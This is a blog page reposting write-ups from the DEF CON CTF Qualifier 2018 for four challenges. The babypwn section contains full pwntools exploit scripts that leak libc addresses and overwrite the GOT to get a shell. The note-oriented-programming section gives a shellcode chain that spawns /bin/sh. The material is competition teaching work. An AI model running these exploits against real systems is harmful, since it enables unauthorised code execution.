Defcon Ctf Qualifier 2018 writeups | Hacking Competition

May 15, 2018 Script hunter No comments exist

Sbva

Category:Web
Points:110
Writeup:
This is one of the easiest challenges in the comptition.

First, we are given the admin’s username and password to login, but the server will return Incompatible browser detected. How does the server derect our browser? A quick guess is through the User-Agent header. So what if the header does not contain the user agent string?


$ curl 'http://0da57cd5.quals2018.oooverflow.io/login.php' -d 'username=admin@oooverflow.io&password=admin' -H 'User-Agent:'`

<br />
<b>Notice</b>:  Undefined index: HTTP_USER_AGENT in <b>/var/www/html/browsertest.php</b> on line <b>3</b><br />

<html>
    <style scoped>
        h1 {color:red;}
        p {color:blue;} 
    </style>
    <video id="v" autoplay> </video>
    <script>
        if (navigator.battery.charging) {
            console.log("Device is charging.")
        }
    </script>
</html>

A PHP error occurs above, so the server actually infers our browser through the user agent header. However, there are various user-agent. It’s sorts of silly to try each of them since the server might detect the version number as well.

In order to reduce possible user agent, navigator.battery in javascript is an important clue. It seems that only Chrome and Firefox support this.

Let’s try Firefox with different version number first. The Firefox user agent spcification is here, though I’m just blindly trying the possibile version number without following the specification.

#!/usr/bin/env python3
# Python 3.6.5
import requests
from itertools import product

s = requests.session()                                                                                                                  
for i, j in product(range(0, 6), range(0, 51)):
    agent = f'Mozilla/{i}.0 (Windows NT 10.0; WOW64; rv:{j}.0) Gecko/20100101 Firefox/{j}.0'
    headers={'User-Agent': agent}
    r = s.post('http://0da57cd5.quals2018.oooverflow.io/login.php', data=dict(username='admin@oooverflow.io', password='admin'), headers=headers)
    print(r.text, i, j)

Surprisingly, we get the flag when the user agent is Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0.

Flag: OOO{0ld@dm1nbr0wser1sth30nlyw@y}
Original writeup credit goes to BFS Team.

babypwn1805

Category:Pwn
Points:132
Writeup:

Overwrite the pointer of program name, and trigger SSP -> leak information.
Get serveral libc.


/opt/ctf/babypwn/bin/libs/libc-8548e4731a83e6ed3fc167633d28c21f.so
/babypwn/bin/libs/libc-61f5a3ac836ded55a092041ff497d7fa.so
/babypwn/bin/libs/libc-e9010796528c812dfe1d0c527b07110f.so

    char asdf[1024];
    long long index = 0;
    read(0, asdf+index, 8);
  • asdf+index -> write everywhere.
  • Overwite GOT read with onegadget -> with probability 1/16 (correct libc).
  • /opt/ctf/babypwn/home/flag.

#!/usr/bin/env python
from pwn import *
import sys
import struct
import hashlib
import random
from threading import Timer

# OOO{to_know_the_libc_you_must_become_the_libc}

def pow_hash(challenge, solution):
    return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()

def check_pow(challenge, n, solution):
    h = pow_hash(challenge, solution)
    return (int(h, 16) % (2**n)) == 0

def solve_pow(challenge, n):
    candidate = 0
    while True:
        if check_pow(challenge, n, candidate):
            return candidate
        candidate += 1


def hit():
    cmd = 'id;LD_PRELOAD='';'
    cmd += 'cat /opt/ctf/babypwn/home/flag;'
    cmd += 'ls -al /opt/ctf/babypwn/home/;'
    y.sendline( cmd )
    print y.recv( 2048 )


host , port = 'e4771e24.quals2018.oooverflow.io' , 31337
y = remote( host , port )

y.recvuntil( ': ' )
challenge = y.recvline().strip()
y.recvuntil( ': ' )
n = int( y.recvline() )
y.sendlineafter( ':' , str( solve_pow(challenge, n) ) )

success( 'Go' )

t = 0.3
y.recvuntil( 'Go\n' )

for i in xrange( 0x10000 ):
    y.send( p64( 0xffffffffffffffc8 ) )
    p = 0xae77
    y.send( p16( p ) )
    t = Timer(1.0, hit)
    t.start()
    y.recvuntil( 'Go' , timeout=1 )
    t.cancel()

leak.py


#!/usr/bin/env python
from pwn import *
import sys
import struct
import hashlib
import random


def pow_hash(challenge, solution):
    return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest() def check_pow(challenge, n, solution): h = pow_hash(challenge, solution) return (int(h, 16) % (2**n)) == 0 def solve_pow(challenge, n): candidate = 0 while True: if check_pow(challenge, n, candidate): return candidate candidate += 1 host , port = 'e4771e24.quals2018.oooverflow.io' , 31337 y = remote( host , port ) y.recvuntil( ': ' ) challenge = y.recvline().strip() y.recvuntil( ': ' ) n = int( y.recvline() ) y.sendlineafter( ':' , str( solve_pow(challenge, n) ) ) l = 0 info( 'find stable offset' ) for i in xrange( 0x10000 ): y.recvuntil( 'Go' ) y.send( p64( 0 ) ) y.send( p64( 0 ) ) y.send( '\x00' * 0x50 + p64( 0 ) * i + '\x00' ) y.recvline() o = y.recvline() if 'baby' not in o: l = i * 8 + 0x50 break success( 'offset -> %s' % hex( l ) )

base = 0

info( 'Leak stack' )

for i in xrange( 0x10000 ):

    y.recvuntil( 'Go' )
    y.send( p64( 0 ) )
    y.send( p64( 0 ) )
    r = random.randint( 0 , 0xffff ) & 0xfff0
    y.send( '\x00' * l + p16( r ) )
    y.recvline()
    o = y.recvline()
    try:
        leak = u64( o[o.find('***: ') + 5 : o.find(' ter') ].ljust( 8 , '\x00' ) )
    except:
        pass
    success( '%s -> %s' % ( hex( r ) , hex( leak ) ) )
    if leak & 0xff0000000000 == 0x55:
        base = leak & 0xffffffffff00
        break


    y.recvuntil( 'Go' )
    y.send( p64( 0 ) )
    y.send( p64( 0 ) )
    r = random.randint( 0 , 0xffff ) & 0xfff0 + 8
    y.send( '\x00' * l + p16( r )  )
    y.recvline()
    o = y.recvline()
    try:
        leak = u64( o[o.find('***: ') + 5 : o.find(' ter') ].ljust( 8 , '\x00' ) )
    except:
        pass
    success( '%s -> %s' % ( hex( r ) , hex( leak ) ) )
    if leak & 0xff0000000000 == 0x55:
        base = leak & 0xffffffffff00
        break




y.interactive()

Flag is: OOO{to_know_the_libc_you_must_become_the_libc}

Original writeup credit goes to BFS Team

Throwback

Category:Misc
Points:121
Writeup:

Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!

Looking at this it is hard at first to make much of a connection out of the data.

First I considered the possibility that it required you to shift letters or choose letters in a patterned fashion like every other letter.
Looking at all of this I wasnt able to make much sense or see a pattern that fit.
However it dawned on me that if we counted the letters between the ! marks that maybe I could try it as traditional alaphbet cipher.
The values that you get when you try this method is as follows:

4 1 18 11 0 12 15 7 9 3

At first I tried what is a more traditional alphabet cipher which is as follows:

A=0 B=1 C=3

and so on.

However when I tried this I found that it resulted in an answer that made no sense.
I thought back to the clue and they mentioned that the flag was in a non-standard form and multiple word seperated with a space.
Seeing that it had atleast one space in it I noticed the 0 was in the middle of the number string and tried shifting the letters over to allow 0 to equal a space.
When I did that I got the following:

D A R K

L O G I C

And with that I found the flag:

dark logic
Original writeup credit goes to Neutrino_Cannon team

Note oriented programming

Category:Shellcode
Points:145
Writeup:

full script @ https://gist.github.com/64c8198d87ca34cc326fc83ce6190670

This is a shellcoding challenge, reversing the binary reveals that the shellcode must be a sequence of notes. A note is a string of the form A0 or A#0, where A can be any letter between A and G and 0 is a digit between 0 and 9.

The shellcode is mapped at the fixed address 0x60606000 (RWX segment), and an int 80h is appended at the end that we do not need to generate ourselves. Registers are cleared with exception of ESI, EDI, ESP which all point to the stack and ECX which is set to 1.
idea

Enumerating possible opcodes shows that we can control EAX quite well, with the following opcodes:

4A xor al,0x41 (and variants with B,C,… for 0x42,0x43,…)
3F0 xor eax,[esi+0x30] (and variants with #,1,2,… for +0x23,+0x31,+0x32,…) [and with edi using G instead of F]
1F0 xor [esi+0x30],eax (and variants with #,1,2,… for +0x23,+0x31,+0x32,…) [and with edi using G instead of F]
0F0 xor [esi+0x30],al (and variants with #,1,2,… for +0x23,+0x31,+0x32,…) [and with edi using G instead of F]

For padding, we can use ‘A’ (inc ecx) if we want to use an opcode that starts with a number or ‘6’ (ss prefix) to use an opcode that ends with a letter.

When the shellcode starts, the stack is already filled with a repeating 0x4f4f4f4f (‘OOOO’) and a 0x2d2d2d2d (‘—-‘) pattern. If we xor those together, we get 0x62626262, which is close to the base of the shellcode page. We can fix it up by setting AL to 0x2 or 0x1 and xoring it into that bytewise, so we end up with 0x60606160.

After we have control of EAX, we use it to patch a single byte into the shellcode: a popad. With popad, we can then fully control every register just by setting up the stack correctly, which is possible with our EAX gadgets. For patching the shellcode, the following additional primitives are needed:

#8 and edi,[eax] used to clear EDI by ANDing it with two values a,b such that a & b == 0
0D8A xor [eax+edi*1+0x41],al to perform the write

After that, we can use our existing stack -> EAX and EAX -> stack gadgets to setup the stack for a read syscall. read then loads a /bin/sh shellcode to the RWX segment to spawn a shell.


; load RAX with 0x4f4f4f4f from stack
A3 F0
; xor the next 16 stack bytes with EAX (4 xors)
; gives 16 byte of cleared stack space, needed later
A       1G0
G6G6G6G 1G0
G6G6G6G 1G0
G6G6G6G 1G0
; now xor rax into 0x2f2f2f2f which is the the next value on the stack
G6G6G6G 1G0
; clear EAX
"A3", "F#6", 
; load 2 into AL
A 4A6 A 4C6
; xor AL into 0x62626262's bytes
A 0G0
A 0G2
A 0G3
; load 1 into AL
A 4B 4C6
; xor AL into the third byte of our 0x60.. address
"A0", "G1",
; clear EAX
A 4A 4B6 
; load EAX with 0x60606160 (the address we built on the stack)
A 3G0
;; now EAX is 0x60606160, an address in the shellcode page

; clear EDI (first and)
A #8
; increment EAX (set AL to 0x61)
A 4B 4C 6
; clear EDI (second and)
A #8
; set AL to 0x20 (0x20 ^ 0x41 (the pad value) = 0x61 (popad))
A 4A6
; apply patch
A 0D8A6
; setup stack for popad
; (this works because stack space was cleared above so we can use XOR to write values to stack)
F6F6F6F 1F0     ; EDX = EAX (count)
F6F6F6F 1F0     ; ECX = EAX (read target) 
A 3F0  A 4A 4B6 ; set EAX to 3
F6F6F6F 1F0     ; EAX = EAX (syscall number)
; increment stack pointer so that popad pops correct values+ padding
"D6" * 32
; padding (it is important that 'A' & '6' = 0x0 to clear EDI above)
"A6" * 400

Flag is: OOO{1f_U_Ar3_r34d1n6_7h15_y0u_4r3_7h3_m0z4rT_0f_1nf053c_Ch33rs2MP!}
Original writeup credit goes to ALLES! team

Leave a Reply

Your email address will not be published. Required fields are marked *